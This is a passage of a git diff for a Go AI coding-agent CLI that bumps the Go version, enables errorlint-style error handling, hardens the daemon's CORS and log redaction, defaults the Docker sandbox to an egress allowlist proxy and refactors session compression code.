diff --git a/.github/actions/setup-deps/action.yml b/.github/actions/setup-deps/action.yml index 0e77d39b..7b6522ee 100644 --- a/.github/actions/setup-deps/action.yml +++ b/.github/actions/setup-deps/action.yml @@ -42,4 +42,4 @@ runs: - name: Create workspace shell: bash run: | - printf 'go 1.26.5\n\nuse .\n\nreplace (\n\tgithub.com/GrayCodeAI/hawk-core-contracts => ./external/hawk-core-contracts\n\tgithub.com/GrayCodeAI/eyrie => ./external/eyrie\n\tgithub.com/GrayCodeAI/inspect => ./external/inspect\n\tgithub.com/GrayCodeAI/sight => ./external/sight\n\tgithub.com/GrayCodeAI/tok => ./external/tok\n\tgithub.com/GrayCodeAI/trace => ./external/trace\n\tgithub.com/GrayCodeAI/yaad => ./external/yaad\n\tgithub.com/GrayCodeAI/hawk-mcpkit => ./external/hawk-mcpkit\n)\n' > go.work + printf 'go 1.26.6\n\nuse .\n\nreplace (\n\tgithub.com/GrayCodeAI/hawk-core-contracts => ./external/hawk-core-contracts\n\tgithub.com/GrayCodeAI/eyrie => ./external/eyrie\n\tgithub.com/GrayCodeAI/inspect => ./external/inspect\n\tgithub.com/GrayCodeAI/sight => ./external/sight\n\tgithub.com/GrayCodeAI/tok => ./external/tok\n\tgithub.com/GrayCodeAI/trace => ./external/trace\n\tgithub.com/GrayCodeAI/yaad => ./external/yaad\n\tgithub.com/GrayCodeAI/hawk-mcpkit => ./external/hawk-mcpkit\n)\n' > go.work diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bf6b2f99..59aef8a3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -19,7 +19,7 @@ concurrency: cancel-in-progress: true env: - GO_VERSION: "1.26.5" + GO_VERSION: "1.26.6" # GrayCodeAI sibling modules are resolved from the local external/ submodules via # go.work; their go.mod require versions (v0.1.0) intentionally do not match the # frozen public proxy/sumdb snapshot, so bypass the proxy + checksum DB for them. diff --git a/.github/workflows/compatibility-matrix.yml b/.github/workflows/compatibility-matrix.yml index 15fe8cdf..b5bc0045 100644 --- a/.github/workflows/compatibility-matrix.yml +++ b/.github/workflows/compatibility-matrix.yml @@ -32,7 +32,7 @@ jobs: git submodule update --init external/hawk-mcpkit - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: "1.26.5" + go-version: "1.26.6" cache: true - name: Structural validation (schema + version pins) run: make compat-check diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 91e50e1b..d7077661 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -53,7 +53,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: "1.26.5" + go-version: "1.26.6" cache: true - name: Run GoReleaser diff --git a/.golangci.yml b/.golangci.yml index 08fded61..9358dd36 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -13,6 +13,8 @@ linters: - unconvert - whitespace - gosec + # Catch fmt.Errorf("%s", err) — discards the wrapped chain; should be %w. + - errorlint settings: errcheck: check-type-assertions: true @@ -89,6 +91,9 @@ linters: - errcheck - unused - gosec + # Tests conventionally compare errors for exact identity (err != sentinel) + # or type-assert with a concrete type; enforcing errors.Is/As there is noise. + - errorlint issues: max-issues-per-linter: 0 max-same-issues: 0 diff --git a/Dockerfile b/Dockerfile index e25e96fa..23a63ddd 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,7 +1,7 @@ # Build stage # Supply-chain hardening: both stages are pinned by digest so a mutable tag # cannot silently change the build. -FROM golang:1.26.5-alpine@sha256:0178a641fbb4858c5f1b48e34bdaabe0350a330a1b1149aabd498d0699ff5fb2 AS builder +FROM golang:1.26.6-alpine@sha256:af8d6740070b8906d12eae1c3e3ea0957fb63f492051ea05e354c38ef9fe88df AS builder RUN apk upgrade --no-cache && \ apk add --no-cache git ca-certificates tzdata @@ -43,7 +43,7 @@ COPY . . RUN --mount=type=cache,target=/go/pkg/mod \ --mount=type=cache,target=/root/.cache/go-build \ rm -f go.work go.work.sum && \ - { echo "go 1.26.5"; echo; echo "use ."; echo; echo "replace ("; \ + { echo "go 1.26.6"; echo; echo "use ."; echo; echo "replace ("; \ for repo in hawk-core-contracts eyrie inspect sight tok trace yaad; do \ echo " github.com/GrayCodeAI/${repo} => ./external/${repo}"; \ done; echo ")"; } > go.work && \ diff --git a/Dockerfile.daemon b/Dockerfile.daemon index 8d0dc2ea..b920ad11 100644 --- a/Dockerfile.daemon +++ b/Dockerfile.daemon @@ -4,7 +4,7 @@ # # Build: docker build -f Dockerfile.daemon -t hawk-daemon . # Run: docker run -p 4590:4590 -e HAWK_DAEMON_API_KEY=... hawk-daemon -FROM golang:1.26.5-alpine@sha256:0178a641fbb4858c5f1b48e34bdaabe0350a330a1b1149aabd498d0699ff5fb2 AS builder +FROM golang:1.26.6-alpine@sha256:af8d6740070b8906d12eae1c3e3ea0957fb63f492051ea05e354c38ef9fe88df AS builder RUN apk upgrade --no-cache && \ apk add --no-cache git ca-certificates tzdata @@ -24,7 +24,7 @@ COPY . . RUN --mount=type=cache,target=/go/pkg/mod \ --mount=type=cache,target=/root/.cache/go-build \ rm -f go.work go.work.sum && \ - { echo "go 1.26.5"; echo; echo "use ."; echo; echo "replace ("; \ + { echo "go 1.26.6"; echo; echo "use ."; echo; echo "replace ("; \ for repo in hawk-core-contracts eyrie inspect sight tok trace yaad; do \ echo " github.com/GrayCodeAI/${repo} => ./external/${repo}"; \ done; echo ")"; } > go.work && \ diff --git a/Makefile b/Makefile index ae2328df..71b44515 100644 --- a/Makefile +++ b/Makefile @@ -206,7 +206,7 @@ setup: ## Set up local development environment (go.work + external repos). fi; \ done @echo "Generating go.work..." - @echo "go 1.26.5" > go.work + @echo "go 1.26.6" > go.work @echo "" >> go.work @echo "use ." >> go.work @echo "" >> go.work diff --git a/cmd/chat_config_deployment.go b/cmd/chat_config_deployment.go index 228705f4..7c4718ba 100644 --- a/cmd/chat_config_deployment.go +++ b/cmd/chat_config_deployment.go @@ -83,7 +83,7 @@ func saveCredentialAsync(inference hawkconfig.CredentialInference, secret string if refreshErr := hawkconfig.RefreshCatalogAfterCredentials(ctx, nil); refreshErr == nil { result, err = hawkconfig.ApplyEyrieCredentialsForProvider(ctx, inference.ProviderID) } else { - err = fmt.Errorf("%w; automatic catalog refresh failed: %v", err, refreshErr) + err = fmt.Errorf("%w; automatic catalog refresh failed: %w", err, refreshErr) } } if err != nil { diff --git a/cmd/chat_print.go b/cmd/chat_print.go index 68531169..a7fb3df1 100644 --- a/cmd/chat_print.go +++ b/cmd/chat_print.go @@ -4,6 +4,7 @@ import ( "bufio" "context" "encoding/json" + "errors" "fmt" "io" "os" @@ -319,7 +320,7 @@ func runRepl() error { _, _ = fmt.Fprint(os.Stderr, "\n> ") input, err := reader.ReadString('\n') if err != nil { - if err == io.EOF { + if errors.Is(err, io.EOF) { fmt.Fprintln(os.Stderr, "") return nil } diff --git a/cmd/chat_subcommand_test.go b/cmd/chat_subcommand_test.go index 6155a1c5..8cd7763d 100644 --- a/cmd/chat_subcommand_test.go +++ b/cmd/chat_subcommand_test.go @@ -162,6 +162,22 @@ func TestSubcommandRegistry_NamesIsSorted(t *testing.T) { } } +// TestPackageSubcommandRegistry_IsPopulated verifies the real package-level +// registry (built by the per-file init() functions) actually registered +// subcommands and that the canonical entry points resolve (M12). A broken or +// no-op init() would leave the registry empty or drop a command. +func TestPackageSubcommandRegistry_IsPopulated(t *testing.T) { + if subcommandRegistry.Size() == 0 { + t.Fatal("package subcommandRegistry is empty — no init() registrations took effect") + } + // Core commands that must always resolve. + for _, name := range []string{"help", "config", "status", "quit"} { + if _, ok := subcommandRegistry.Lookup(name); !ok { + t.Errorf("package subcommandRegistry.Lookup(%q) = false", name) + } + } +} + // --- subcommand-interface contract --- func TestSubcommandInterface_Accessors(t *testing.T) { diff --git a/cmd/chat_tools_test.go b/cmd/chat_tools_test.go index 43791ccc..5e226751 100644 --- a/cmd/chat_tools_test.go +++ b/cmd/chat_tools_test.go @@ -189,6 +189,29 @@ func TestMergedMCPHeaders_ConfiguredAuthorizationTakesPrecedence(t *testing.T) { } } +// TestEssentialOptionalTools_NoOverlapOrDuplicates guards against drift between +// the hand-maintained essentialTools() and optionalTools() lists (M11): a tool +// must appear in exactly one list. Duplicates within a list or an overlap across +// lists would silently double-register or misclassify a tool. +func TestEssentialOptionalTools_NoOverlapOrDuplicates(t *testing.T) { + essential := essentialTools() + optional := optionalTools() + + seen := make(map[string]struct{}) + for _, tl := range essential { + if _, dup := seen[tl.Name()]; dup { + t.Fatalf("essentialTools() duplicates tool %q", tl.Name()) + } + seen[tl.Name()] = struct{}{} + } + for _, tl := range optional { + if _, dup := seen[tl.Name()]; dup { + t.Fatalf("optionalTools() tool %q also appears in essentialTools()", tl.Name()) + } + seen[tl.Name()] = struct{}{} + } +} + func TestDefaultRegistry_SkipsFailedStartupMCPServers(t *testing.T) { orig := defaultRegistryLoadMCPTools t.Cleanup(func() { defaultRegistryLoadMCPTools = orig }) diff --git a/cmd/chat_view.go b/cmd/chat_view.go index 522e52c9..b6a3bcee 100644 --- a/cmd/chat_view.go +++ b/cmd/chat_view.go @@ -408,9 +408,9 @@ func (m chatModel) View() tea.View { } if slashOpen { if sugs := m.slashSuggestionsFor(m.input.Value()); len(sugs) > 0 { - if m.slashSel < 0 || m.slashSel >= len(sugs) { - m.slashSel = 0 - } + // NOTE: slashSel is clamped in Update (chat_update.go) and + // submit (chat_submit.go), not here — View is by-value, so any + // mutation would be silently discarded. cmdStyle := slashCmdStyle descStyle := slashDescStyle selCmdStyle := slashSelCmdStyle diff --git a/cmd/cli_contracts_test.go b/cmd/cli_contracts_test.go index a4ff3a94..6fb96ef5 100644 --- a/cmd/cli_contracts_test.go +++ b/cmd/cli_contracts_test.go @@ -3,6 +3,7 @@ package cmd import ( "bytes" "context" + "errors" "os" "path/filepath" "strings" @@ -197,7 +198,7 @@ func TestPromptInputReadLine_WithoutInteractiveReader(t *testing.T) { if err == nil { t.Fatal("expected an error when no interactive prompt input is available") } - if err != errNoInteractivePromptInput { + if !errors.Is(err, errNoInteractivePromptInput) { t.Fatalf("error = %v, want %v", err, errNoInteractivePromptInput) } } diff --git a/cmd/container_boot.go b/cmd/container_boot.go index 8f699fa2..ec491895 100644 --- a/cmd/container_boot.go +++ b/cmd/container_boot.go @@ -3,6 +3,7 @@ package cmd import ( "context" "fmt" + "os" "time" tea "charm.land/bubbletea/v2" @@ -29,8 +30,15 @@ func shouldUseContainer() bool { // startRequiredContainer starts Hawk's mandatory Docker sandbox. It fails // closed with an actionable error; there is deliberately no host fallback. +// Egress is restricted to a domain allowlist via NetworkProxy by default; set +// HAWK_DISABLE_EGRESS_PROXY=1 to opt out (unrestricted bridge egress). func startRequiredContainer(projectDir string) (*sandbox.ContainerSandbox, error) { - cs := sandbox.NewContainerSandbox(projectDir) + var cs *sandbox.ContainerSandbox + if os.Getenv("HAWK_DISABLE_EGRESS_PROXY") == "1" { + cs = sandbox.NewContainerSandbox(projectDir) + } else { + cs = sandbox.NewContainerSandboxWithEgressProxy(projectDir) + } sandbox.ResetDockerAvailabilityCache() if !dockerAvailable() { return nil, fmt.Errorf("docker is required but is not running — start Docker and retry") diff --git a/external/eyrie b/external/eyrie index afeda44e..7ec579ab 160000 --- a/external/eyrie +++ b/external/eyrie @@ -1 +1 @@ -Subproject commit afeda44e0c6e9554aef0bb10dc131a925b605389 +Subproject commit 7ec579abfaa96ebc5f726e528c93f2d74e90414f diff --git a/go.mod b/go.mod index ce460228..83e4d616 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module github.com/GrayCodeAI/hawk -go 1.26.5 +go 1.26.6 // The charmbracelet v2 modules (bubbles, bubbletea, lipgloss, glamour, huh) have // moved their module paths from github.com/charmbracelet/... to charm.land/... @@ -11,7 +11,7 @@ require ( charm.land/bubbles/v2 v2.1.1 charm.land/bubbletea/v2 v2.0.8 charm.land/lipgloss/v2 v2.0.5 - github.com/GrayCodeAI/eyrie v0.2.3-0.20260813030854-afeda44e0c6e + github.com/GrayCodeAI/eyrie v0.2.3-0.20260813100729-7ec579abfaa9 github.com/GrayCodeAI/hawk-core-contracts v0.1.12 github.com/GrayCodeAI/inspect v0.0.0-20260726091806-08f3151d5738 github.com/GrayCodeAI/sight v0.0.0-20260726091804-84c96edfc589 diff --git a/go.sum b/go.sum index f217206a..c494988f 100644 --- a/go.sum +++ b/go.sum @@ -16,8 +16,8 @@ github.com/BobuSumisu/aho-corasick v1.0.3 h1:uuf+JHwU9CHP2Vx+wAy6jcksJThhJS9ehR8 github.com/BobuSumisu/aho-corasick v1.0.3/go.mod h1:hm4jLcvZKI2vRF2WDU1N4p/jpWtpOzp3nLmi9AzX/XE= github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk= github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= -github.com/GrayCodeAI/eyrie v0.2.3-0.20260813030854-afeda44e0c6e h1:62MKYG0zyi+Wud7a7T3wgQgc+XMvLq4XCbcACltVxms= -github.com/GrayCodeAI/eyrie v0.2.3-0.20260813030854-afeda44e0c6e/go.mod h1:AW/UPuj+EWxMibiD+/Cy0TWd6RmTvth+KeGXSxU3t6I= +github.com/GrayCodeAI/eyrie v0.2.3-0.20260813100729-7ec579abfaa9 h1:PmA9hUIiFWs66V4UNfB/NE/uw4LxHcmTS+055SeYGes= +github.com/GrayCodeAI/eyrie v0.2.3-0.20260813100729-7ec579abfaa9/go.mod h1:AW/UPuj+EWxMibiD+/Cy0TWd6RmTvth+KeGXSxU3t6I= github.com/GrayCodeAI/hawk-core-contracts v0.1.12 h1:percfsd771JLmO9gMkrQtENEPBA9ZN3dG1Nc1moN3ZQ= github.com/GrayCodeAI/hawk-core-contracts v0.1.12/go.mod h1:BXbh68YrCf+s9HVqND5F8DAvl2MnE5NcOwZZZB56HGA= github.com/GrayCodeAI/hawk-mcpkit v0.1.6-0.20260729083555-85ac53f3ec84 h1:HzoXUYNNyt88IccaPBxSvOQ/5PZzJOcSHbvBjX3l2mQ= diff --git a/go.work b/go.work index 836f5d71..e741f6c7 100644 --- a/go.work +++ b/go.work @@ -1,4 +1,4 @@ -go 1.26.5 +go 1.26.6 use . diff --git a/internal/auth/auth.go b/internal/auth/auth.go index 983012f2..ad3ddd6e 100644 --- a/internal/auth/auth.go +++ b/internal/auth/auth.go @@ -5,6 +5,7 @@ import ( "crypto/rand" "encoding/base64" "encoding/json" + "errors" "fmt" "os" "os/exec" @@ -278,7 +279,8 @@ func execCommand(name string, args ...string) (string, error) { cmd := exec.CommandContext(context.Background(), name, args...) // #nosec G204 -- executable is selected by the platform credential backend out, err := cmd.Output() if err != nil { - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { return "", fmt.Errorf("%s: %w: %s", name, err, strings.TrimSpace(string(exitErr.Stderr))) } return "", fmt.Errorf("%s: %w", name, err) diff --git a/internal/bridge/trace/lib_bridge.go b/internal/bridge/trace/lib_bridge.go index 5fb45d64..ec1d0ad4 100644 --- a/internal/bridge/trace/lib_bridge.go +++ b/internal/bridge/trace/lib_bridge.go @@ -8,6 +8,7 @@ package tracebridge import ( "context" + "errors" "fmt" "strings" "sync" @@ -253,7 +254,7 @@ func (a *SubprocessBridgeAdapter) Enable(ctx context.Context, _ string) error { // Disable stops the active capture session, mirroring the `trace disable` subprocess call. func (a *SubprocessBridgeAdapter) Disable(ctx context.Context, _ string) error { _, err := a.capture.StopCapture(ctx) - if err == ErrNotActive { + if errors.Is(err, ErrNotActive) { return nil // idempotent: disable on an already-disabled session is a no-op } return err diff --git a/internal/bridge/trace/lib_bridge_test.go b/internal/bridge/trace/lib_bridge_test.go index 9ca530c5..ffc753f0 100644 --- a/internal/bridge/trace/lib_bridge_test.go +++ b/internal/bridge/trace/lib_bridge_test.go @@ -2,6 +2,7 @@ package tracebridge import ( "context" + "errors" "testing" "time" ) @@ -144,7 +145,7 @@ func TestGetTranscriptPath_EmptyBeforeCapture(t *testing.T) { func TestStopCapture_WithoutStart_ReturnsError(t *testing.T) { sc := NewSessionCapture(CaptureConfig{RepoPath: "/repo"}, nil) result, err := sc.StopCapture(context.Background()) - if err != ErrNotActive { + if !errors.Is(err, ErrNotActive) { t.Errorf("StopCapture error = %v, want ErrNotActive", err) } if result != nil { diff --git a/internal/container/lifecycle.go b/internal/container/lifecycle.go index a0e6d426..cb2d31de 100644 --- a/internal/container/lifecycle.go +++ b/internal/container/lifecycle.go @@ -6,6 +6,7 @@ package container import ( "bytes" "context" + "errors" "fmt" "os/exec" "strings" @@ -108,7 +109,8 @@ func ExecWithStdin(ctx context.Context, containerID string, cmd []string, stdin exitCode := 0 if err != nil { - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { exitCode = exitErr.ExitCode() } else { return nil, &ContainerError{ diff --git a/internal/container/lifecycle_test.go b/internal/container/lifecycle_test.go index 0a30f100..1d807258 100644 --- a/internal/container/lifecycle_test.go +++ b/internal/container/lifecycle_test.go @@ -3,6 +3,7 @@ package container import ( "bytes" "context" + "errors" "fmt" "os/exec" "strings" @@ -144,7 +145,8 @@ func TestExecWithStdin(t *testing.T) { if err == nil { t.Fatal("expected error for empty container ID") } - ce, ok := err.(*ContainerError) + ce := &ContainerError{} + ok := errors.As(err, &ce) if !ok { t.Fatalf("expected *ContainerError, got %T", err) } diff --git a/internal/daemon/middleware.go b/internal/daemon/middleware.go index a69d7c7b..70a5b5a9 100644 --- a/internal/daemon/middleware.go +++ b/internal/daemon/middleware.go @@ -7,6 +7,7 @@ import ( "fmt" "log/slog" "net/http" + "strings" "time" "github.com/GrayCodeAI/hawk/internal/feature" @@ -59,7 +60,10 @@ func (s *Server) loggingMiddleware(next http.Handler) http.Handler { slog.Info( "http_request", "method", r.Method, - "path", r.URL.Path, + // Redact credential-like segments (e.g. bot tokens embedded in URL + // paths such as Telegram's /bot/...) so secrets never land + // in logs even if an inbound proxy folds an outbound URL into a path. + "path", redactURLPath(r.URL.Path), "remote", clientIP(r), "status", ww.status, "duration_ms", duration.Milliseconds(), @@ -114,8 +118,15 @@ func (s *Server) corsMiddleware(next http.Handler) http.Handler { return } - allowed := s.isCORSSettingAllowed(origin) - if allowed { + matched, wildcard := s.matchCORSOrigin(origin) + if wildcard { + // Wildcard: reflect "*" and omit credentials — browsers reject the + // "*" + Allow-Credentials combination, and reflecting an arbitrary + // origin with credentials would let any site authenticate against us. + w.Header().Set("Access-Control-Allow-Origin", "*") + } else if matched { + // Explicit origin: echo back only the matched origin (never the raw + // request Origin) and allow credentials. w.Header().Set("Access-Control-Allow-Origin", origin) w.Header().Set("Access-Control-Allow-Credentials", "true") w.Header().Set("Vary", "Origin") @@ -170,16 +181,37 @@ func (rw *responseWriter) Flush() { // isCORSSettingAllowed reports whether the given origin is permitted // by the configured CORS origins. -func (s *Server) isCORSSettingAllowed(origin string) bool { +// matchCORSOrigin reports whether origin is allowed and whether the match came +// from the wildcard entry "*". Callers use the wildcard flag to decide whether +// it is safe to echo credentials (it is not — see corsMiddleware). +func (s *Server) matchCORSOrigin(origin string) (matched bool, wildcard bool) { for _, o := range s.corsOrigins { if o == "*" { - return true + return true, true } if o == origin { - return true + return true, false } } - return false + return false, false +} + +// credentialPathSegments are URL path prefixes that commonly embed a secret +// token directly in the path (e.g. Telegram's /bot/...). When a logged +// path starts with one of these, the remainder of that segment is replaced +// with "" so the token never appears in logs. +var credentialPathSegments = []string{"/bot"} + +// redactURLPath masks credential-like segments in a URL path before logging. +// It only alters paths beginning with a known credential segment; everything +// else is returned unchanged. +func redactURLPath(path string) string { + for _, seg := range credentialPathSegments { + if strings.HasPrefix(path, seg) { + return seg + "" + strings.TrimPrefix(path, seg) + } + } + return path } // installMiddleware wraps the server's mux with the standard middleware diff --git a/internal/daemon/middleware_test.go b/internal/daemon/middleware_test.go index 4b5e5e68..2c29af36 100644 --- a/internal/daemon/middleware_test.go +++ b/internal/daemon/middleware_test.go @@ -70,23 +70,31 @@ func TestGenerateRequestID(t *testing.T) { } } -func TestIsCORSSettingAllowed(t *testing.T) { +func TestMatchCORSOrigin(t *testing.T) { s := &Server{corsOrigins: []string{"http://example.com", "http://other.com"}} for _, origin := range []string{"http://example.com", "http://other.com"} { - if !s.isCORSSettingAllowed(origin) { - t.Errorf("isCORSSettingAllowed(%q) = false, want true", origin) + matched, wildcard := s.matchCORSOrigin(origin) + if !matched { + t.Errorf("matchCORSOrigin(%q) = false, want true", origin) + } + if wildcard { + t.Errorf("matchCORSOrigin(%q) = wildcard true, want false", origin) } } for _, origin := range []string{"http://evil.com", ""} { - if s.isCORSSettingAllowed(origin) { - t.Errorf("isCORSSettingAllowed(%q) = true, want false", origin) + if matched, _ := s.matchCORSOrigin(origin); matched { + t.Errorf("matchCORSOrigin(%q) = true, want false", origin) } } wildcard := &Server{corsOrigins: []string{"*"}} - if !wildcard.isCORSSettingAllowed("http://anything.com") { + matched, isWildcard := wildcard.matchCORSOrigin("http://anything.com") + if !matched { t.Error("wildcard origin should allow any origin") } + if !isWildcard { + t.Error("wildcard origin should report wildcard=true") + } } // --- Middleware stack behavior --- diff --git a/internal/engine/branching/snowball.go b/internal/engine/branching/snowball.go index 8c9e5a50..9e2d29a7 100644 --- a/internal/engine/branching/snowball.go +++ b/internal/engine/branching/snowball.go @@ -31,8 +31,13 @@ func (sd *SnowballDetector) RecordTurn(tokens int, progress float64) { sd.turnProgress = append(sd.turnProgress, progress) } -// IsSnowballing returns true if the last 3 turns consumed 2x+ tokens compared -// to the first 3 turns AND progress per token is declining. +// IsSnowballing returns true if the last 3 turns consumed threshold-x+ tokens +// compared to the first 3 turns, i.e. token consumption is accelerating without +// a proportional bound. The progress-per-token dimension is intentionally not +// used here: with the coarse progress signal available per turn it collapses +// to a pure growth check and adds no independent information (see RecordTurn +// call sites). Keeping this a honest growth-rate detector avoids a false sense +// of a second, stricter signal. func (sd *SnowballDetector) IsSnowballing() bool { n := len(sd.turnTokens) if n < 6 { @@ -49,15 +54,7 @@ func (sd *SnowballDetector) IsSnowballing() bool { } growthRate := float64(lastAvg) / float64(firstAvg) - if growthRate < sd.threshold { - return false - } - - // Check that progress per token is declining - firstPPT := avgFloat(sd.turnProgress[:3]) / float64(firstAvg) - lastPPT := avgFloat(sd.turnProgress[n-3:]) / float64(lastAvg) - - return lastPPT < firstPPT + return growthRate >= sd.threshold } // ShouldAbort returns true if total tokens exceed maxTokens or the growth rate diff --git a/internal/engine/chat_provider_test.go b/internal/engine/chat_provider_test.go index ec4c8606..b7629f2c 100644 --- a/internal/engine/chat_provider_test.go +++ b/internal/engine/chat_provider_test.go @@ -2,6 +2,7 @@ package engine import ( "context" + "errors" "testing" "github.com/GrayCodeAI/hawk-core-contracts/llm" @@ -68,7 +69,7 @@ func TestEngineChatProviderIdentityAndPing(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) cancel() - if err := provider.Ping(ctx); err != context.Canceled { + if err := provider.Ping(ctx); !errors.Is(err, context.Canceled) { t.Fatalf("Ping() error = %v, want context.Canceled", err) } } diff --git a/internal/engine/code/code_lens.go b/internal/engine/code/code_lens.go index e78e401d..27a2f9c1 100644 --- a/internal/engine/code/code_lens.go +++ b/internal/engine/code/code_lens.go @@ -2,6 +2,7 @@ package code import ( "context" + "errors" "fmt" "os/exec" "regexp" @@ -133,7 +134,8 @@ func lookupTestStatus(file, funcName string) string { if err == nil { return "PASS" } - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { if exitErr.ExitCode() == 1 { return "FAIL" } diff --git a/internal/engine/compact.go b/internal/engine/compact.go index a5a7acde..87aff5a2 100644 --- a/internal/engine/compact.go +++ b/internal/engine/compact.go @@ -247,10 +247,11 @@ func (s *Session) compactModel() string { return s.ChatLLM().Model() } - // Find the cheapest model by input price + // Find the cheapest model by input price. Free/local models (price 0) are + // preferred for summarization, so they must not be skipped. cheapest := models[0] for _, m := range models[1:] { - if m.InputPrice > 0 && m.InputPrice < cheapest.InputPrice { + if m.InputPrice < cheapest.InputPrice { cheapest = m } } diff --git a/internal/engine/session/aliases.go b/internal/engine/compression/aliases.go similarity index 95% rename from internal/engine/session/aliases.go rename to internal/engine/compression/aliases.go index 9e6a4587..ddfc20d6 100644 --- a/internal/engine/session/aliases.go +++ b/internal/engine/compression/aliases.go @@ -1,6 +1,6 @@ // Package session is the Stage-1 namespace for session-lifecycle types in // package engine. See ../REFACTOR_PLAN.md. -package session +package compression // Compressor is a shorter name for SessionCompressor. type Compressor = SessionCompressor diff --git a/internal/engine/session/cross_session.go b/internal/engine/compression/cross_session.go similarity index 99% rename from internal/engine/session/cross_session.go rename to internal/engine/compression/cross_session.go index 0dfa6f6f..0180fc63 100644 --- a/internal/engine/session/cross_session.go +++ b/internal/engine/compression/cross_session.go @@ -1,4 +1,4 @@ -package session +package compression import ( "encoding/json" diff --git a/internal/engine/session/cross_session_test.go b/internal/engine/compression/cross_session_test.go similarity index 99% rename from internal/engine/session/cross_session_test.go rename to internal/engine/compression/cross_session_test.go index aefac7da..e681295a 100644 --- a/internal/engine/session/cross_session_test.go +++ b/internal/engine/compression/cross_session_test.go @@ -1,4 +1,4 @@ -package session +package compression import ( "math" diff --git a/internal/engine/session/session_compressor.go b/internal/engine/compression/session_compressor.go similarity index 94% rename from internal/engine/session/session_compressor.go rename to internal/engine/compression/session_compressor.go index e5af492a..f4644645 100644 --- a/internal/engine/session/session_compressor.go +++ b/internal/engine/compression/session_compressor.go @@ -1,4 +1,4 @@ -package session +package compression import ( "fmt" @@ -298,19 +298,17 @@ func SemanticCompress(messages []CompressMessage, budget int) []CompressMessage result := make([]CompressMessage, 0) for _, group := range groups { - if len(group) == 0 { + if len(group.messages) == 0 { continue } - // Check if this is a recent group (contains messages from last 20%) + // Check if this is a recent group (contains messages from last 20%). + // Use the members' original indices (carried by the group) instead of + // content equality, which is ambiguous when the same text recurs. lastIdx := -1 - for i, msg := range messages { - for _, gMsg := range group { - if msg.Content == gMsg.Content && msg.Role == gMsg.Role { - if i > lastIdx { - lastIdx = i - } - } + for _, idx := range group.indices { + if idx > lastIdx { + lastIdx = idx } } @@ -318,15 +316,15 @@ func SemanticCompress(messages []CompressMessage, budget int) []CompressMessage if isRecent { // Keep recent topics verbatim - result = append(result, group...) - } else if len(group) <= 2 { + result = append(result, group.messages...) + } else if len(group.messages) <= 2 { // Short groups kept as-is - result = append(result, group...) + result = append(result, group.messages...) } else { // Keep the conclusion (last message) and summarize the journey - journeySummary := createSummaryMessage(group[:len(group)-1]) + journeySummary := createSummaryMessage(group.messages[:len(group.messages)-1]) result = append(result, journeySummary) - result = append(result, group[len(group)-1]) + result = append(result, group.messages[len(group.messages)-1]) } } @@ -645,13 +643,25 @@ func selectiveKeep(messages []CompressMessage) []CompressMessage { return result } -func groupByTopic(messages []CompressMessage) [][]CompressMessage { +// topicGroup is a group of messages that share a topic, paired with each +// member's original index in the source slice. Carrying the indices avoids +// identifying members by content equality (which is ambiguous when the same +// text appears more than once — e.g. repeated "ok" or identical tool results). +type topicGroup struct { + messages []CompressMessage + indices []int +} + +func groupByTopic(messages []CompressMessage) []topicGroup { if len(messages) == 0 { return nil } - groups := make([][]CompressMessage, 0) - current := []CompressMessage{messages[0]} + groups := make([]topicGroup, 0) + current := topicGroup{ + messages: []CompressMessage{messages[0]}, + indices: []int{0}, + } for i := 1; i < len(messages); i++ { // Topic boundary heuristics: @@ -660,13 +670,17 @@ func groupByTopic(messages []CompressMessage) [][]CompressMessage { // - Significant gap in tool usage patterns if isTopicBoundary(messages[i-1], messages[i]) { groups = append(groups, current) - current = []CompressMessage{messages[i]} + current = topicGroup{ + messages: []CompressMessage{messages[i]}, + indices: []int{i}, + } } else { - current = append(current, messages[i]) + current.messages = append(current.messages, messages[i]) + current.indices = append(current.indices, i) } } - if len(current) > 0 { + if len(current.messages) > 0 { groups = append(groups, current) } diff --git a/internal/engine/session/session_compressor_test.go b/internal/engine/compression/session_compressor_test.go similarity index 99% rename from internal/engine/session/session_compressor_test.go rename to internal/engine/compression/session_compressor_test.go index bd95b982..fb0de029 100644 --- a/internal/engine/session/session_compressor_test.go +++ b/internal/engine/compression/session_compressor_test.go @@ -1,4 +1,4 @@ -package session +package compression import ( "strings" diff --git a/internal/engine/session/session_timeline.go b/internal/engine/compression/session_timeline.go similarity index 99% rename from internal/engine/session/session_timeline.go rename to internal/engine/compression/session_timeline.go index fd7a7644..bedea576 100644 --- a/internal/engine/session/session_timeline.go +++ b/internal/engine/compression/session_timeline.go @@ -1,4 +1,4 @@ -package session +package compression import ( "fmt" diff --git a/internal/engine/session/session_timeline_test.go b/internal/engine/compression/session_timeline_test.go similarity index 99% rename from internal/engine/session/session_timeline_test.go rename to internal/engine/compression/session_timeline_test.go index 98e3ce53..5500cede 100644 --- a/internal/engine/session/session_timeline_test.go +++ b/internal/engine/compression/session_timeline_test.go @@ -1,4 +1,4 @@ -package session +package compression import ( "strings" diff --git a/internal/engine/git/git_provider.go b/internal/engine/git/git_provider.go index 38e5d430..29ee0b79 100644 --- a/internal/engine/git/git_provider.go +++ b/internal/engine/git/git_provider.go @@ -411,7 +411,7 @@ func (gp *GitProvider) runGH(args ...string) (string, error) { cmd.Stderr = &stderr if err := cmd.Run(); err != nil { - return "", fmt.Errorf("%s: %s", err, stderr.String()) + return "", fmt.Errorf("%w: %s", err, stderr.String()) } return 